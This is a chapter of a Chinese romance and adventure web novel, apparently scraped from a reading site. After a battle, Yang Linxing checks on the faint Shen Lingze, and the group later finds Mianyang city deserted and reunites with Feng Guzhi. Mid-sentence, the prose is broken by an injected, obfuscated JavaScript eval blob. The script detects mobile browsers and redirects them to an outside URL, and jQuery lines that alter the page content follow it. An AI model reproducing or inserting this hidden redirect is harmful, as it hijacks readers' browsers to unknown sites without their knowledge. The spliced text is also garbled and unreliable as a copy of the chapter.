72.狐尾初现

作品:《孤阙逐星

    恶战之后的战场,是一片连风声都带着铁锈味的死寂。


    空气中混杂着血的腥甜,以及某种更深邃的、属于生命彻底流逝后的空洞气息。几只乌鸦在低空盘旋,翅膀划破凝滞的空气,发出粗哑的啼叫,却不敢轻易落下。


    杨凛星踩着浸透血的泥泞,一步步走向那个还在微微抽搐的身影。


    那人躺在一片狼藉里,左胸之下有个可怕的豁口,随着他艰难的呼吸,暗红的血沫正一下下往外涌。他还没死,眼睛还能转动,浑浊的瞳孔里映出她走近的身影——没有胜利者的倨傲,也没有复仇者的快意,只有一片深不见底的平静,像结了冰的湖面。


    她在离他三步远的地方停住,裙摆已沾满污血与泥浆。她没有俯身,只是垂眸看着他,看着这个方才还朝她放下狠话,此刻却连抬起手指都做不到的敌人。


    他喉咙里发出“嗬嗬”的声响,嘴唇翕动,似乎是在说些什么:


    “……你,你以为……你赢了吗?”暗红的血沫正一下下往外涌,这个男人居然露出了诡异的微笑,使得杨凛星不由自主地拧紧了眉心。


    “永远不可能……”


    说完这句话,他胸腔里那口拉扯风箱般的气,彻底断了。眼睛还半睁着,却已没了焦距,直直对着灰蒙蒙的天空。


    杨凛星呆愣在原地,久久未能参透他最后那句话的含义。究竟是临死前送她的虚晃一枪,还是真有未知的风暴尚未降临。


    “凛星,”不知站了多久,沈灵泽低柔的嗓音在她耳边响起:“风大,先回车上吧。”


    杨凛星并非是温室的花朵,但他私心里仍旧不愿她多看一看这样血腥的场面。


    “走吧。”


    二人并肩朝着马车的方向走去,沈灵泽不留痕迹地检查着杨凛星浑身上下是否有受伤的痕迹,问道:“凛星,你觉得这个人就是黑衣人的首领吗?”


    杨凛星沉吟片刻,道:“我猜幕后凶手还另有其人,此人刚才还……你怎么了?!”


    两人刚走出没几步,杨凛星的话才起了个头,余光却猛地瞥见身侧的沈灵泽身形一晃——


    他毫无征兆地抬手用力按住额角,指尖发白,整个人像是瞬间被抽走了所有支撑,直挺挺地向后仰倒!


    杨凛星心头骤紧,呼吸都窒住了半拍。她几乎是在他倒下的同一瞬扑了过去,手臂险险穿过他腰间,用尽全力才将人捞住,顺势踉跄着扶他原地坐下。


    “沈灵泽!”她声音都变了调,一只手紧紧撑住他下滑的肩膀,另一只手无措地在他身上搜寻。肩甲、侧肋、后背……沾染的鲜血不知是别人的还是他自己的,触手一片湿冷黏腻。


    沈灵泽浑身上下都是血,而她居然现在才发现!


    “沈灵泽……沈灵泽。”杨凛星不断地呼唤着他。


    “我……没事。”半晌,沈灵泽才从那阵猝不及防的晕眩中略微缓过神来。他强忍着不适,哑声道:“凛星,我没事……只是突然有点晕。”


    “有点晕?怎么会?你哪里受伤了?快告诉我!”


    “我、我没受伤,身上都是别人的血。”透过一层薄薄的红绸,他似乎看见了杨凛星微红的眼眶。可能是被这红布给衬得吧……


    听到他说没受伤,杨凛星的心安定了不少,可沈灵泽的面色看上去实在不像没事的样子。


    沈灵泽见她仍旧愁眉不展,尽力撤出一抹笑容,“我真的没事。”他顿了顿,继续道:“可能是因为近几日都心神不宁……”


    心神不宁的原因,还能是因为什么呢?


    杨凛星抿了抿下唇,问道:“那你……能站起来吗?”


    沈灵泽选择用行动回答她这个问题。


    杨凛星还是不太放心,一直没有收回搭在他腰间的手。“让阿璃和翎光驾车吧,你回车内休息一会儿。”


    沈灵泽没有拒绝,他低低“嗯”了一声,声音比平时哑了些。嘴上虽说着没事,可他自己清楚,那股说不出的、从四肢百骸涌上来的滞重与晕眩,是真的不太对劲。


    不远处,翎光正在检查马车部件是否完整,而玉璃先一步进了车厢安抚受惊的公主。


    翎光见沈灵泽被杨凛星搀扶着走来,眸色暗了暗,表情也变得有些古怪——似乎是想问一句“他怎么了?”,但犹豫了半晌还是没能问出口。


    “后面的路程让阿璃陪你驾车吧。”


    翎光先是点了下头,随即又看向沈灵泽,不确定道:“受伤了?”


    “谁?谁受伤了?!”玉璃“嗖”的一声探出头来,“沈大哥,你受伤了?要不要紧?”


    沈灵泽生怕众人将过多的目光放在他身上,忙道:“只是有点头晕,不碍事。”


    “那后面我来陪三哥吧。”玉璃一屁股在马车外围坐了下来,“沈大哥你去车里好好休息,让凛星大人替你好好瞧瞧。”


    沈灵泽依言坐进了车内,马车继续朝着昭华国的方向前进。


    杨凛星坐在沈灵泽身侧,手指稳稳搭在他腕间。沈灵泽没有说话,只是安静地靠在车厢壁上。他没有看自己的手腕,也没有闭目养神,目光一直落在杨凛星脸上。从她微微绷紧的下颌线,到她低垂时显得格外纤长的睫毛,再到她因全神贯注而轻抿着的唇。她的指尖微凉,触感却清晰得仿佛直接落在他心脉上。


    他看的专注,眸中的爱意几乎要满溢出来,连一旁作为局外人的辉夜公主,都觉得那目光烫人。可杨凛星却在这样炙热的目光下怡然自得,像是早已习惯。


    “似乎……并未有何不妥,确是因为过于操劳所致。”良久,杨凛星终于开口,声音很低,带着思索,“可是——”


    沈灵泽眉眼含笑,轻声道:“无有不妥就好,我听你的好好休息就是。”说完,他顿了顿,语气里带上了少许揶揄:“杨大夫的医术,我向来是深信不疑的。”


    杨凛星听出了他这话里的玩笑奉承之意,眼波朝他斜斜一掠,那眼神似嗔非嗔,似恼非恼,难以言说的娇与媚,看得沈灵泽心头一跳。


    两人就这样你来我往、不清不楚、黏黏腻腻、旁若无人的眼神拉扯了好一会儿,在一旁从头观摩到尾的辉夜公主终于看不下去了。


    “咳咳咳——”辉夜公主掩唇低咳几声,又欲盖弥彰道:“我没事,你们继续。”


    杨凛星:“……”


    沈灵泽略有些不自然地侧过头去,却又暴露


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870165|189690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了他早已艳红的耳尖。


    车厢里再无人说话,却有一种温润的安静漫开来。


    辉夜公主靠着车壁,目光落在窗外流动的景色上,眼底映着渐熟的秋光。沈灵泽合眼静坐,苍白的脸色在平稳的呼吸中缓和了些许。杨凛星守在他身侧,指尖无意识地轻抚着膝上药囊的纹路。连角落里的九方氏女子,那紧蹙的眉尖仿佛也在沉睡中松开了半分。


    车轮规律的“辘辘”声,成了此刻唯一的韵律,敲打在归乡的路上。


    -


    此次归来,不知为何,杨凛星感觉绵阳城内更加冷清了。


    不过才末时正中,街道上却空无一人,本该热闹非凡的主干道上,挨家挨户的大门紧闭,就连原先定时巡逻的瀛御军都不知为何消失不见。偌大一个都城,十室九空,满目苍夷,实乃亡国前兆。


    一别月余,杨凛星一行人见到这样的绵阳城,面上的凝重之色一览无余。辉夜公主更是看的心惊肉跳,不明白自己在史书上读过的“物阜民丰、河清海晏”的昭华国境内为何会沦落至此。一想到这些都有可能是因为自己的父王,辉夜公主的面上便再也不见任何血色。


    众人七转八绕地走到风故知的宅院,只见大门紧闭,阶满庭塞,像是许久未曾有人居住过的光景。


    杨凛星当下心头一沉,果断上前叩了叩大门,却无任何回应。


    “怎么没人?”玉璃面露忧色,“不会是出什么事儿了吧?”


    “应该不会,有司祁和青诀在……”


    杨凛星又重重拍了几下门板,掌心震得发麻,木门发出沉闷的回响。就在她真要以为里头没人时,一阵拖着地的、不紧不慢的脚步声,终于从门内深处,由远及近地传了过来。


    莫名地,杨凛星一口气都提到了嗓子眼。


    沉重的木门被推开一条小缝,里面的人谨慎的用一只眼睛打探着外面的情况。


    “风故知!”


    “……星儿?”


    透过门缝确认了来人,风故知却宛如被钉在原地了一般。忽然,他一步跨出门槛,伸出手,带着一股不容抗拒的、近乎失态的力道,一把将杨凛星用力拽进了怀里,手臂箍得死紧。


    这举动来得突然,辉夜公主心头猛地一跳,下意识就朝沈灵泽脸上看去——


    只见他仍旧站在原地,面上看不出什么波澜,连眉毛都没动一下。只是下颚的线条绷得极紧,右手虚握着腰间剑柄,拇指的指腹正无意识地、一下下地摩挲着剑柄上冰凉的纹路,动作很轻,却又很沉。他整个人看上去还是那副沉稳持重的样子,可辉夜公主就是能清清楚楚地感觉到——有一股极冷的怒意,正从他每一寸绷紧的骨节里,无声地渗出来。


    另一头,被一把拉进怀里的杨凛星也是怔在原地。但转念一想,瀛御国主在昭华国内大肆宣扬要将轩辕王的转世作为祭品而除之,风故知定然也听到了消息,她离开许久未归,说不定他以为自己早就……


    想到这里,她紧绷的身体略微放松下来,轻声道:


    “风故知,我回来了。”


    风故知低哑的嗓音在她耳侧响起:


    “星儿,你居然……回来了。”